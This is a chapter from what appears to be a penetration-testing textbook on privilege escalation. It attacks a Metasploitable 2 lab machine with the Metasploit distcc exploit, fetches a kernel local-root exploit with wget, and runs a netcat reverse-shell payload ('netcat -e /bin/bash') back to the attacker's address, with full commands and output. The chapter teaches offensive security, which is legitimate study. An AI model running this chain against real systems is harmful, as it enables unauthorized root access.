
Chapter 10. Privilege Escalation

In the previous chapter, we exploited a target machine using the vulnerabilities found during the vulnerabilities mapping process. The goal of performing the exploitation is to get the highest privilege accounts available, such as administrator-level accounts in the Windows system or root-level accounts in the Unix system.

After you exploit a system, the next step you would want to take is to do a privilege escalation. Privilege escalation can be defined as the process of exploiting a vulnerability to gain elevated access to the system.

There are two types of privilege escalation as follows:

- **Vertical privilege escalation**: In this type, a user with lower privilege is able to access the application functions designed for the highest privilege user. For example, a content management system where a user is able to access the system administrator functions.
- **Horizontal privilege escalation**: This happens when a normal user is able to access functions designed for other normal users. For example, in an Internet banking application, user A is able to access the menu of user B.

The following are the several privilege escalation vectors that can be used to gain unauthorized access to the target:

- Local exploits
- Exploiting a misconfiguration such as a home directory that is accessible, which contains an SSH private key allowing access to other machines
- Exploiting weak passwords on the target
- Sniffing the network traffic to capture the credentials
- Spoofing the network packets

In this chapter, we will not discuss how to exploit the misconfiguration.

Privilege escalation using a local exploit

In this section, we are going to use a local exploit to escalate our privilege.

To demonstrate this, we will use the following virtual machines:

- Metasploitable 2 as our victim machine with an IP address of `192.168.56.102`
- Kali Linux as our attacking machine with an IP address of `192.168.56.101`

First, we identify the open network services available on the victim machine. For this, we utilize the Nmap port scanner with the following command:

```
nmap -p- 192.168.56.102
```

We configure Nmap to scan for all the ports (from port 1 to port 65,535) using the `-p-` option.

The following screenshot shows the brief result of the preceding command:

```
Host is up (0.0098s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
```

After researching on the Internet, we found that the `distccd` service has a vulnerability that may allow a malicious user to execute arbitrary commands. The `distccd` service is used to scale large compiler jobs across a farm of similarly configured systems.

Next, we search in Metasploit to find whether it has the exploit for this vulnerable service:

```
msf> search distccd

Matching Modules
================

   Name                              Disclosure Date          Rank       Description
   ----                              ---------------          ----       -----------
   exploit/unix/misc/distcc_exec  2002-02-01 00:00:00 UTC  excellent  DistCC Daemon
 Command Execution
```

From the preceding screenshot, we can see that Metasploit has the exploit for the vulnerable `distccd` service.

Let's try to exploit the service as shown in the following screenshot:

```
msf> use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo AA3PfhlQvFR969Be;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "AA3PfhlQvFR969Be\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.56.101:4444 -> 192.168.56.102:60018) at
 2014-02-06 10:00:49 +0700

whoami
daemon
```

We are able to exploit the service and issue an operating system command to find our privilege: `daemon` .

The next step is to explore the system to get more information about it. Now, let's see the kernel version used by issuing the following command:

```
uname -r
```

The kernel version used is `2.6.24-16-server` .

We searched the `exploit-db` database and found an exploit (http://www.exploit-db.com/exploits/8572/) that will allow us to escalate our privilege to `root` . Save this exploit in the attacking machine, and make it available for the victim as shown in the following screenshot. We can download the exploit from our attacking machine.

```
wget http://192.168.56.101/privs.c -O privs.c
--22:21:27--  http://192.168.56.101/privs.c
           => `privs.c'
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,768 (2.7K) [text/x-csrc]

    0K ..                                                    100%    1.26 MB/s

22:21:27 (1.26 MB/s) - `privs.c' saved [2768/2768]
```

After successfully downloading the exploit, we compile it on the victim machine using the following `gcc` command:

```
gcc privs.c -o privs
```

Now our exploit is ready to be used. From the source code, we found that this exploit needs the **Process Identifier** (**PID**) of the `udevd` netlink socket as the argument. We can get this value by issuing the following command:

```
cat /proc/net/netlink
```

The following screenshot shows the result of this command:

```
cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
de30a800 0   0      00000000 0        0        00000000 2
df91d400 4   0      00000000 0        0        00000000 2
dd884800 7   0      00000000 0        0        00000000 2
ddc08600 9   0      00000000 0        0        00000000 2
ddc04400 10  0      00000000 0        0        00000000 2
de30ac00 15  0      00000000 0        0        00000000 2
df86fa00 15  2390   00000001 0        0        00000000 2
de317800 16  0      00000000 0        0        00000000 2
df99e400 18  0      00000000 0        0        00000000 2
```

You can also get the `udev` service PID, `1`, by giving the following command:

```
ps aux | grep udev
```

The following command line is the result of this command:

```
root      2391  0.0  0.1   2216   660 ?        S<s  21:06   0:01
/sbin/udevd -daemon
```

We know that the PID is `2390`.

Tip

In the real penetration testing engagement, you may want to set up a test machine that has the same kernel version with the target to test the exploit.

From our information gathering on the victim machine, we know that this machine has Netcat installed. We will use Netcat to connect back to our machine once the exploit runs in order to give us root access to the victim machine. Based on the exploit source code information, we need to save our payload in a file called `run`:

```
echo '#!/bin/bash' > runecho '/bin/netcat -e /bin/bash 192.168.56.101
31337' >> run
```

We also need to start the Netcat listener on our attacking machine by issuing the following command:

```
nc -vv -l -p 31337
```

The one thing left is to run the exploit with the required argument:

```
./privs 2390
```

In our attacking machine, we can see the following messages:

```
root@kali:~# nc -v -l -p 31337
nc: listening on :: 31337 ...
nc: listening on 0.0.0.0 31337 ...
nc: connect to 192.168.56.101 31337 from 192.168.56.102 (192.168.56.102) 46060 [460
60]
whoami
root
```

After issuing the `whoami` command, we can see that we have successfully escalated our privilege to `root`.